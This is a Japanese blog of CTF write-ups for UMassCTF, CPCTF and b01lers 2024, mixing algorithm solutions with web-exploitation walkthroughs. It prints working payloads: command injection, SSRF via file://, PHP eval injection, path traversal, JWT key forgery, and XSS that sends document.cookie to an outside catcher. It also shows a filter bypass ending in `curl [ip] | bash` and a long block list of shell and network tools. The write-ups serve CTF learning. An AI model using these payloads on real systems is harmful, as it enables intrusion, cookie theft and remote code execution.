はまやんはまやんはまやん

hamayanhamayan's blog

UMassCTF 2024 Writeups

[web] Crabby Clicker

golangで書かれたwebサーバが与えられる。

func (r *RequestHandler) handleRequest() {
    defer r.conn.Close()

    reader := bufio.NewReader(r.conn)

    for {
        // Set a deadline for reading. If a second passes without reading any data, a timeout will occur.
        r.conn.SetReadDeadline(time.Now().Add(1 * time.Second))

        // Read and parse the request headers
        request, err := readHTTPHeader(reader)
        if err != nil {
            return
        }

        requestLines := strings.Split(request, "\n")
        if len(requestLines) < 1 {
            fmt.Println("Invalid request")
            return
        }

        // Parse the request line
        requestLine := strings.Fields(requestLines[0])
        if len(requestLine) < 3 {
            fmt.Println("Invalid request")
            return
        }

        method := requestLine[0]
        uri := requestLine[1]

        // Check if the request is a valid GET request
        if method != "GET" {
            r.conn.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\n"))
            return
        }

        // Handle GET request
        if uri == "/" {
            r.generateResponse(`
Welcome to Crabby Clicker!
A HTTP based clicker game where you can earn burgers to get the flag. 
Make a request to /click to gain a burger.
I use my own custom HTTP server implementation to manage the state of the game.
It's not fully working, I am running into some bugs.
            `)
        } else if uri == "/click" {
            // BUG: Weird thing where the state is not updated between requests??
            r.burgers++
            r.generateResponse("burger added")
        } else if uri == "/flag" {
            if r.burgers >= 100 {
                r.generateResponse(fmt.Sprintf("Flag: UMASS{%s}", os.Getenv("FLAG")))
            } else {
                r.generateResponse("Not enough burgers")
            }
        } else {
            r.generateResponse("Not found")
        }
    }
}

このようになっており、/clickr.burgers++をすることでき、
/flagr.burgers >= 100を満たすならフラグが得られる。
しかし、リクエスト毎にr.burgers = 0で開始されるので、r.burgers >= 100とするのが難しい。

処理フローを見るとfor文でリクエスト処理が回されている。
複数リクエストを強制させることができれば、良い感じにフラグが得られそうである。
ここでリクエストを読み込んでいるreadHTTPHeaderを見てみる。

func readHTTPHeader(reader *bufio.Reader) (string, error) {
    // Read headers until \r\n\r\n
    var requestLines []string
    for {
        line, err := reader.ReadString('\n')
        if err != nil {
            return "", err
        }
        requestLines = append(requestLines, line)
        // Check if the current line marks the end of the headers
        if line == "\r\n" {
            break
        }
    }
    return strings.Join(requestLines, ""), nil
}

これを見ると、単に\r\nがあればリクエスト読み込みを終了している。
\r\nで終了すると一旦読み込みが中断されるため、バッファにはまだ残りのリクエストが残存することになる。
この状態で2週目に到達すると残りのリクエストが読み込まれるため、複数リクエストを投げることができる。

つまり、以下のようなリクエストでフラグが得られる。

GET /click HTTP/1.1

GET /click HTTP/1.1

GET /click HTTP/1.1

... [GET /click HTTP/1.1 を 100回以上]

GET /click HTTP/1.1

GET /flag HTTP/1.1

[web] Future Router

ソースコード無し。
SSRFできそうな所とwebsocketでやりとりできそうな所がある。
websocketは応答が淡泊であまりよく分からないので、SSRF箇所から攻めよう。
fileスキーマが動いたので色々抜いていく。

file:///proc/self/environとするとOLDPWD=/PWD=/planktonsrouter1ba8b69eと帰ってくる。
PWDが抜けたので、適当にファイル名をguessしてソースコードを引っ張って来る。
file:///planktonsrouter1ba8b69e/app.pyがあった。

from flask import Flask
from blueprints.routes import httpserver

app = Flask(__name__)
# This web server is the property of Sheldon J. Plankton, 
# please refrain from reading this secret source code.
# I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA!
app.register_blueprint(httpserver, url_prefix='/')

という訳で次は/blueprints/routes.pyを見てみる。
よってfile:///planktonsrouter1ba8b69e/blueprints/routes.py

from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl 

httpserver = Blueprint('httpserver', __name__)

#@httpserver.route("/docs",methods=["GET"])
#def docs():
#   return """<!doctype html>
#    <h1>Router Docs</h1>
#
#    <h2>Websocket API</h2>
#
#    <strong>TODO: Document how to talk to 
#   Karen's customer service module in ../karen/customerservice.py
#   Also figure out how to use supervisord better.</strong>
#"""
#
# Securely CURL URLs, absolutely no bugs here!

@httpserver.route("/static/<path:path>")
def static(path):
    return send_from_directory('static',path)

@httpserver.route("/cURL",methods=["GET","POST"])
def curl():
    if(request.method == "GET"):
        return render_template('curl.html')
    elif(request.method == "POST"):
        try:
            buffer = BytesIO()
            c = pycurl.Curl()
            c.setopt(c.URL, request.json['URL'])
            c.setopt(c.WRITEDATA, buffer)
            c.perform()
            c.close()
            DATA = buffer.getvalue()
            return {"success":DATA.decode('utf-8')}
        except Exception as e:
            return {"error":str(e.with_traceback(None))}

@httpserver.route("/customerservice",methods=["GET"])
def customerservice():
    return render_template('customerservice.html')

NETWORK = [
    {'hostname':'patricks-rock','ports':[{'service':'http','num':80}]},
    {'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]},
    {'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]},

]
@httpserver.route("/dash",methods=["GET"])
def dash():
    return render_template('dashboard.html',network=NETWORK)

@httpserver.route("/")
def hello_world():
    return render_template("index.html")      

コメントに../karen/customerservice.pyとあるので、次はfile:///planktonsrouter1ba8b69e/karen/customerservice.pyを見る。

import asyncio, os, re
from websockets.server import serve

# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty 
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def handle_input(self,message):
        if ("hello" in message):
            return self.Dialogue["Welcome"]
        elif("krabby patty" in message):
            filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
            os.system(f'echo "{filtered_message}\n" >> /dev/null')
            return self.Dialogue["Secret formula"]
        elif("problem" in message):
            return self.Dialogue["Problem"]
        else:
            return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

async def respond(websocket):
    async for message in websocket:
        data = KarenAgent.xor_decrypt(message.encode('latin-1'))
        response = KarenAgent.handle_input(data)
        await websocket.send(response)

async def main():
    async with serve(respond, "0.0.0.0", 9000):
        await asyncio.Future()  # run forever

asyncio.run(main())          

websocketの実装が見つかる。
入力を秘密鍵とXORで復号化して最終的にos.system(f'echo "{filtered_message}\n" >> /dev/null')として実行している。
コマンドインジェクションですね。
以下のような感じでやってみるとスリープが入ったのでうまく実行できていそう。

import asyncio
import websockets

SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
def xor_decrypt(ciphertext):
    plaintext = ""
    cipher_arr = bytearray(ciphertext)
    for i in range(0,len(cipher_arr)):
        plaintext += chr(cipher_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)])
    return plaintext

async def solve():
    uri = "ws://future-router.ctf.umasscybersec.org/app/"
    async with websockets.connect(uri) as websocket:
        await websocket.send(xor_decrypt(b"krabby patty $(sleep 5)"))
        resp = await websocket.recv()
        print(resp)

asyncio.get_event_loop().run_until_complete(solve())

応答を持ってくるのに苦労した。
外部通信は許可していないのか、curlとかwgetは使えなかった。
webサイトの/static/において取り出す方針も書き込み権限がないのかダメだった。
うーーんと思っていたら、前半で使ったfileスキーマによるLFIを思い出す。
tmpフォルダに適当に出力してfileスキーマによるLFIで取り出してくることができた。
つまり、ls -la / > /tmp/sdfajk235jisdjakfjsakみたいなコマンドを実行して、file:///tmp/sdfajk235jisdjakfjsakを持ってくればls -la /結果が分かる。
これで/flag53958e73c5ba4a66というファイルが分かるので、これをcatで同様にして持ってくれば答え。

[web] Spongebobs Homepage

ソースコード無し。
スポンジボブのファンページが与えられる。
リクエストを眺めると

http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=house&size=300x494
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200x200
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=2000x200

このようなリクエストが走っている。
ん?この形どこかで…?と思っていると

blog.flatt.tech

つい最近書いたインジェクションの記事のコマンドインジェクション例に似ている。
sizeを; ls ;とするとls結果が表示された。
興味で./server.pyを抜いてみよう。

import http.server
import socketserver
import urllib.parse
import subprocess
import os
import base64

PORT = 1337

class RequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Route for the root `/`
        if self.path == '/':
            self.path = './files/index.html'
            return http.server.SimpleHTTPRequestHandler.do_GET(self)
        
        # Parse path and query
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        
        # Route for `/assets/image`
        if parsed_path.path == '/assets/image':
            # Extract the image name and size from the query parameters
            name = query_params.get('name', [None])[0]
            size = query_params.get('size', [None])[0]

            if name and size:
                
                if not name.isalnum():
                    self.send_error(400, "Invalid name parameter")
                    return

                image_path = f'./files/assets/{name}.png'
                if os.path.isfile(image_path):
                    # Run the ImageMagick convert command to resize the image
                    command = f"convert ./files/assets/{name}.png -resize {size}! png:-"
                    try:
                        # Execute the command using shell=True to make it vulnerable to injection
                        process = subprocess.Popen(
                            command,
                            shell=True,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE
                        )
                        output, errors = process.communicate()
                        if process.returncode == 0:
                            self.send_response(200)
                            self.send_header('Content-type', 'image/png')
                            # self.send_header('X-Debug-Command', command)
                            self.end_headers()
                            self.wfile.write(output)
                            return
                        else:
                            self.send_error(500, f"Error resizing image: {errors.decode()}")
                            return
                    except Exception as e:
                        self.send_error(500, f"Internal server error: {str(e)}")
                        return
                else:
                    self.send_error(404, "Image not found")
                    return
            else:
                self.send_error(400, "Missing name or size parameters")
                return

        # Fallback to default file serving
        else:
            self.send_error(404, "File not found")
            return 

# Set up and start the server
with socketserver.TCPServer(("0.0.0.0", PORT), RequestHandler) as httpd:
    print(f"Serving at port {PORT}")
    httpd.serve_forever()

command = f"convert ./files/assets/{name}.png -resize {size}! png:-"でコマンドインジェクションできますね。
; cat flag.txt ;としたGET /assets/image?name=house&size=%3b%20cat%20flag.txt%20%3bでフラグ獲得。

[web] Holesome Birthday Party 途中であきらめ

良くある、応答に応じてHTTPリクエストヘッダーをつけていく問題。
guessが突破できなかった所があったので途中であきらめてしまった。 でも最後までそういう感じなので、興味がある人は以下の公式writeupをどうぞ。
https://discord.com/channels/808050086428409868/1229186793669394572/1231728862203744437

[Web] Cash Cache 解いてない

時間が無くて解けなかったが、面白そうな雰囲気がある。後で復習する。

CPCTF 2024 Writeups

[PPC] About half

https://yukicoder.me/submissions/975797

書かれている通りに実装する。
文句を言うパターンを判定して、それ以外なら文句を言わないとすればよい。

int A, B;

string solve() {
    // Alice claims it.
    if (A * 2 < B) return "No";
    // Bob claims it.
    if (B * 2 < A) return "No";
    // peaceful world
    return "Yes";
}

void _main() {
    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Compound Word

https://yukicoder.me/submissions/975805

解法の基本である全列挙をする。
S[i]S[j]の順に繋げた文字列としてありうる文字列Tを全列挙するために、iとjをループで回して全列挙しよう。
Nは最大50なので、全通りの組み合わせを全探索しても、約2500通りくらいで十分間に合う。

Tとしてありうる文字列は全列挙すると、重複する文字列が出てくる場合があり、サンプル2のようにそれは同一視する必要がある。
よって、全列挙した文字列Tをsetに入れて重複を省いていく。
2500通りくらいなので、setに入れる計算量をあまり良く考えなくても間に合う。

int N;
string S[50];

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> S[i];

    set<string> possibilities;
    rep(i, 0, N) rep(j, 0, N) if(i != j) possibilities.insert(S[i] + S[j]);
    cout << possibilities.size() << endl;
}

[Crypto] Substitution

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug'dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}

をデコードする問題。
単なるROT13ではなかった。
置換式暗号っぽいので、https://quipqiup.com/ を使って解析すると復元できた。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{■■■■■■■■■■■■■■}

[Web] Typing game

タイピングゲームが与えられる。
ブラウザ上で動くのでjavascriptに何か情報が載っていないか探すと、/main.jsにロジックが書いてある。

document.getElementById("flag").textContent = "CPCTF{■■■■■■■■■■■■■■■■■■■}";

末尾にフラグが書いてあり、答えれば正答。

[Shell] netcat

wslを開いてnc shell-netcat.web.cpctf.space 30010を実行するとフラグがもらえる。

[PPC] Balanced Choice

https://yukicoder.me/submissions/975824

前提知識

重量がW以下になるように石を選んで価値を最大化ということで、かなり動的計画法みがある。
条件の「タイプ0とタイプ1の総重量の差がD以下」というのを除けば、以下のようなDPを解くことができる。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

総重量の差がD以下という条件が面倒で、DPの条件として総重量の差を入れるとすると幅が[-D,D]では収まらず、かつ、O(N3)で間に合わない。
ここで、若干の考察の飛躍が必要だが、総重量の差を計算するのに、タイプ0とタイプ1の石の総重量の組は全探索することができることに気が付く。
かつ、先ほど考えたDPを入れ込むと最終的な解法にたどり着く。

改めて解法であるが、最初にタイプ0の石とタイプ1の石を2つのグループに分け、それぞれのグループで以下のDPを計算する。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

これは基本的な最大系DPで計算が可能。
自分の実装だとdoDP関数でそれをやっている。
doDP関数ではdp[最後][w]の結果を返していて、それにより、タイプ0とタイプ1のそれぞれについて「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を最終結果として返している。 これで、indexとしてwをとり、「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を返す配列としてdp0とdp1を用意する。

最後に、タイプ0の石の総重量 w0 とタイプ1の石の総重量 w1 を全探索し、w0とw1の差がD以下であるものについてdp0[w0]+dp1[w1]の最大値を取れば答えが得られる。

int N, W, D;
int t[5010], w[5010], v[5010];

const int BASE = 10101;
int dp[5010][10010];

vector<int> doDP(vector<pair<int,int>> wv) {
    int n = wv.size();
    rep(i, 0, n + 1) rep(w, 0, W + 1) dp[i][w] = -inf;
    dp[0][0] = 0;

    rep(i, 0, n) rep(w, 0, W + 1) {
        chmax(dp[i + 1][w], dp[i][w]);
        chmax(dp[i + 1][w + wv[i].first], dp[i][w] + wv[i].second);
    }

    vector<int> res(W + 1);
    rep(w, 0, W + 1) res[w] = dp[n][w];
    return res;
}

void _main() {
    cin >> N >> W >> D;
    vector<pair<int,int>> wv[2];
    rep(i, 0, N) {
        cin >> t[i] >> w[i] >> v[i];
        wv[t[i]].push_back({w[i], v[i]});
    }

    auto dp0 = doDP(wv[0]);
    auto dp1 = doDP(wv[1]);

    int ans = -inf;
    rep(w0, 0, W + 1) rep(w1, 0, W + 1) if(w0 + w1 <= W && abs(w0 - w1) <= D) chmax(ans, dp0[w0] + dp1[w1]);
    cout << ans << endl;
}

[PPC] CPC To F

https://yukicoder.me/submissions/975831

経験的に貪欲に取っていけばよさそうで、雑にペナもなかったので、submit証明した。
コードを見る方が分かりやすそうだが、やってることは先頭から貪欲にCPCTFかCPCTCPCが出てくれば選択して、選択できた回数が答えになる。

void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 5) == "CPCTF") ans++, i += 4;
        else if (S.substr(i, 7) == "CPCTCPC") ans++, i += 6;
    }
    cout << ans << endl;
}

[Web] Let's buy some array

ソースコードが与えられる。
./DockerfileENV FLAG=CPCTF{dummy_flag}とあるので環境変数が取れればいい。
./src/purchase.php<td><?=eval('return ' . $_POST["quantity1"] . '*1000;')?></td>というのがあり、phpコマンドがインジェクションできる感じになっていた。

getenv('FLAG')でフラグが抜けるので不要部分を消すためにコメントを末尾につける感じで以下のようなリクエストを送ればフラグが得られる。

POST /purchase.php HTTP/2
Host: lets-buy-some-array.web.cpctf.space
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

quantity1=getenv('FLAG');//&quantity2=2&quantity3=3

[Crypto] RSA Trial

一般的なRSA暗号のe,n,cに加えてhintとしてp ** 3 + q ** 3が与えられる。

hint = p ** 3 + q ** 3 = (p + q)^3 - 3(p^2q + pq^2) = (p + q)^3 - 3pq(p + q)

なので、p + q = xとして、hint = x^3 - 3nxとしてみるとxの方程式になっているのでsageで解ける。

$ sage -q
sage: x = var('x')
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: hint = 741926771425232405504391032948866467022983955518121761192445202933333578061474125808287638169879980074289460780164873059834593372109391830484662576544603498916371997546990955652056782715...
sage: solve([hint == x^3 - 3*n*x], x)
[x == -17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206] 

x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206
とわかる。

q = x - p
 n = pq 
   = p(x - p)
   = px - p^2

より、p^2 - px + n == 0をsageで解く。

$ sage -q
sage: p = var('p')
sage: x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846...
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: solve([p^2 - p*x + n == 0], p)
[p == 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147, p == 169992447630966858915888698252097138024929549454077071745755967876059342486814377573603835797671456147429214286974157576880880918312006854165708985792421413050688157226707305761122638977024328184158435239249537443610937944802531984738249044179408265418091660715862731719651393886894610221136158422905027929059]

2つ候補が出てくる。
1つ目を使うと復号できた。

from Crypto.Util.number import inverse, long_to_bytes

e = 65537
n = 23092800044032963629682521395205019839947642003167826599382222699373697364193150208236372091328385991953010686419513771974031306553943090844089407350702744297265154019154918540539009428899450143611305519368474018114104032120890018900113475523404485943172242122285155240861638459168673375124722506458788643101691165631602791150049953982221977216315274055244056210267706596664029582907315535291892378413527913785077182496961901383022363067730909373113193628948864207082281785114422087894895030078890350484796134835330823311047167028229204769491010319934092070070538766081863697228127118627729222708111150563573543048673
c = 19714854810441798425218192628520456872374135122326975578323755186726266185199972056073923483658286464301617879635089352592665411823244240238208566319965196140521967086597572168593119765678106046356937915278040055057930301488767227861758502916581923373613056173864307366286413718722274306171986734134743448287679110298196742575567340736883275297021190291513910182136087976821466778632389704189829913852031147612118343129466338264023123206349921130842481490266565146410287609316448549222868603718841318807492196159710288735318204155079252783344467761751889801445265805582070369839653840521902182492304750373649975282958

p = 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147
q = n // p

d = inverse(e, (p-1)*(q-1))

m = pow(c, d, n)
print(long_to_bytes(m))

[Web] Read Novels

ソースコードが与えられる。
./flagを取得するのがゴール。

@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)

ここでパストラバーサルを起こし、LFI達成できそう。
よって、/novel?name=../flagとするとフラグが得られる。

[Shell] veeeeeeery long text

sshで接続すると、カレントディレクトリにflag.txtがある。
cat flag.txtとすると大量に文字列が流れてくる。

$ cat flag.txt | wc
 100001  100001 6500065

ok. grepしましょう。

$ cat flag.txt | grep CPCTF
CPCTF{■■■■■■■■}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X

[PPC] Power! or +1

https://yukicoder.me/submissions/976561

前提知識

最初はDPで解けないか考えていた。

dp[x] := X=xにするためのコストの総和の最小値

かなり素直にDPは作れるが、問題はXをNにしたいのではなく、Nの倍数にしたいというのが厄介な所。
xがNを超えるとDPの範疇で計算ができない。
よって、xがNを超えた場合について深く考えてみる。

ここが重要な考察であるが、xがNを超えたときはx mod Nで状態を同一視して問題ない。
問題ないというのは、全ての操作においてx mod Nの状態で同一視したときに最終的な結果に影響しないということである。

操作1、操作2についてはmod上での操作は普通にできるため、xがNの倍数かどうかのみを判定するのに、xの具体的な値は必要なくx mod Nが分かっていれば十分である。
問題が操作3であるが、ここで「xがNを超えたときは」という条件が効いてきて、xがNを超えた時に操作3を1回行うと必ずXはNの倍数になる。
それもそのはずで階乗をすると、掛け算の中にNが含まれるのでNの倍数になる。 よって、xの具体的な値に関係なく、むしろ、x mod Nの値にも関係なく、遷移先のx mod Nは0になる。
なので、操作3においてもx mod Nが分かっていれば十分である。
という訳でxがNを超えているか超えていないかで方針が変わるが、これなら状態数は間に合うようになる。
つまり、以下のようなDPテーブルを埋めていけばいい。

dp[mo][isLarger] := X % Nがmoであり、かつ、XがN以上かどうかがisLargerであるときのコストの総和の最小値

XがN以上の場合はmoが増えればコストの総和の最小値が増えるというDP的状況ではなくなるのでダイクストラでこのDPテーブルを埋めていくことになる。
状態数は2*105 × 2なので問題ない。
遷移を見てみよう。

操作1は1通り、操作3も1通りである。操作3の階乗操作はあらかじめ階乗を事前計算しておくといい。
自分は以下を事前計算して使っている。計算時は1018を超えてくるので上限付き掛け算するといい。

P[x] := x!
PM[x] := x! mod N

上限付き掛け算の自分の実装はこんな感じ。掛け算してinfl(自分はconst ll infl = 1LL << 60;で定義)を超えたらinflに丸めている。

ll mul(ll a, ll b) { if(a==0) return 0; if(infl/a<b) return infl; return min(infl, a*b); }

問題は操作2である。
kを決める必要があるが、XがNを超えたmod Nでは下手に上限を決められない気がする。
しかし、よくよく考えると、コストのBkはかなり大きく、kが64くらいになると1018を超えてしまう。
そこまで来ると操作1で+1をした方がコストが安く、最大でもANくらいで条件を満たせるのでkは雑に64を上限にしてしまっていい。
よって、操作2もkは[2,64]で探索すればよく、合計で遷移回数も63+1+1=65なのでこれなら計算可能。

あとは、この状態でNを超える超えないでいい感じに場合分けしながら、オーバーフロー対策をしながら、ダイクストラを計算すればdp[0][1]が答えになる。

b01lers CTF 2024 Writeups

web/b01ler-ad

const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');

'"`が使えない状態でXSSさせる問題。
それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。
<script src=//c748-194-180-179-191.ngrok-free.app/a.js></script>
こんな感じにして、ngrokで以下のようなものを公開しておけばrequest catcherの方にcookieが飛ぶ。
fetch('https://afsiwek32k45owoawe.requestcatcher.com/test', { method : 'post', body: document.cookie })

web/3-city-elves-writeups

os.system(f"bash -c \'echo \"{content}\" > {filename}\'")

のcontentに文字を入れ込んでコマンドインジェクションをして、/flag.pngを抜いてくる問題。
以下の文字が禁止されている。

"bin","base64","export","python3","export","ruby","perl","x","/","(",")""\\","rm","mv","chmod","chown","tar","gzip","bzip2","zip","find","grep","sed","awk","cat","less","more","head","tail","echo","printf","read","touch","ln","wget","curl","fetch","scp","rsync","sudo","ssh","nc","netcat","ping","traceroute","iptables","ufw","firewalld","crontab","ps","top","htop","du","df","free","uptime","kill","killall","nohup","jobs","bg","fg","watch","wc","sort","uniq","tee","diff","patch","mount","umount","lsblk","blkid","fdisk","parted","mkfs","fsck","dd","hdparm","lsmod","modprobe","lsusb","lspci","ip","ifconfig","route","netstat","ss","hostname","dnsdomainname","date","cal","who","w","last","history","alias","export","source","umask","pwd","cd","mkdir","rmdir","stat","file","chattr","lsof","ncdu","dmesg","journalctl","logrotate","systemctl","service","init","reboot","shutdown","poweroff","halt","systemd","update-alternatives","adduser","useradd","userdel","usermod","groupadd","groupdel","groupmod","passwd","chpasswd","userpasswd","su","visudo","chsh","chfn","getent","id","whoami","groups","quota","quotaon","quotacheck","scp","sftp","ftp","tftp","telnet","ssh-keygen","ssh-copy-id","ssh-add","ssh-agent","nmap","tcpdump","iftop","arp","arping","brctl","ethtool","iw","iwconfig","mtr","tracepath","fping","hping3","dig","nslookup","host","whois","ip","route","ifconfig","ss","iptables","firewalld","ufw","sysctl","uname","hostnamectl","timedatectl","losetup","eject","lvm","vgcreate","vgextend","vgreduce","vgremove","vgs","pvcreate","pvremove","pvresize","pvs","lvcreate","lvremove","lvresize","lvs","resize2fs","tune2fs","badblocks","udevadm","pgrep","pkill","atop","iotop","vmstat","sar","mpstat","nmon","finger","ac","journalctl","ls","dir","locate","updatedb","which","whereis","cut","paste","tr","comm","xargs","gunzip","bunzip2","unzip","xz","unxz","lzma","unlzma","7z","ar","cpio","pax","ftp","sftp","ftp","wget","curl","fetch","rsync","scp","ssh","openssl","gpg","pgp"

この制約で色々やると''を使ったコマンド分割が有効であることが分かる。
ec''ho abc | cu''rl 34584921375821348972314.requestca''tcher.c''om --request PO''ST -d @-
が刺さった。

ここから死ぬほど試行錯誤して、最終的に以下で解いた。
conohaでいい感じにVMを借りてきて、80/tcpでwebサーバを立ち上げ、index.htmlを以下のようにしておく。

cp ../flag.png /app/assets/flag.png

つまり、そのまま持って来るのではなく、assetsに置くまでをコマンド実行する。
これはなぜかというと、flag.pngは14MBのクソデカフラグでいい感じに持って来るのがかなり大変であるためである。
これで適当にもらってきたIPアドレスを使って

`cu''rl [ipaddress] | ba''sh`

を実行する。これでindex.htmlの中身が実行されて、/flag.png/app/assets/flag.pngにコピーできる。
あとは、/static/flag.pngにアクセスしてフラグを回収する。

web/imagehost

フラグはadmin権限でログインできれば手に入る。
怪しい所を見ると、tokens.pyが怪しい。

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidを使って公開鍵を参照している。
試すとここはパストラバーサルできるので、任意のローカルの公開鍵を強制することができる。

他の部分を見るとアップロード機能がある。

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

見るとアップロード物は画像としてpillowが判定する必要がある。
ということで、画像として読み込めて、public keyとしても使えるものをアップロードできれば良さそう。

openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pem

で使う鍵ペアを作って、小さいgif画像を用意し、cat small.gif public_key.pem > payload.gifのようにくっつけてやればいい。
アップロードすると、

<img src="/view/11241632-ac26-4489-9faa-2a2c0dc60207.gif" />

のようにファイル名を教えてもらえるので、それとprivate keyを使ってjwtを作る。

import jwt

token = jwt.encode(
    {"user_id": 1,"admin": True},
    open('private_key.pem', 'rb').read(),
    algorithm="RS256",
    headers={"kid": "../uploads/11241632-ac26-4489-9faa-2a2c0dc60207.gif"})
print(token)

これのjwtを使えばフラグ入りの画像がもらえる。

web/pwnhub

app.secret_key = hex(getrandbits(20))とあり、鍵が弱すぎる。

>>> hex(getrandbits(20))
'0xd1a52'
>>> hex(getrandbits(20))
'0x3da82'

全探索できますね。

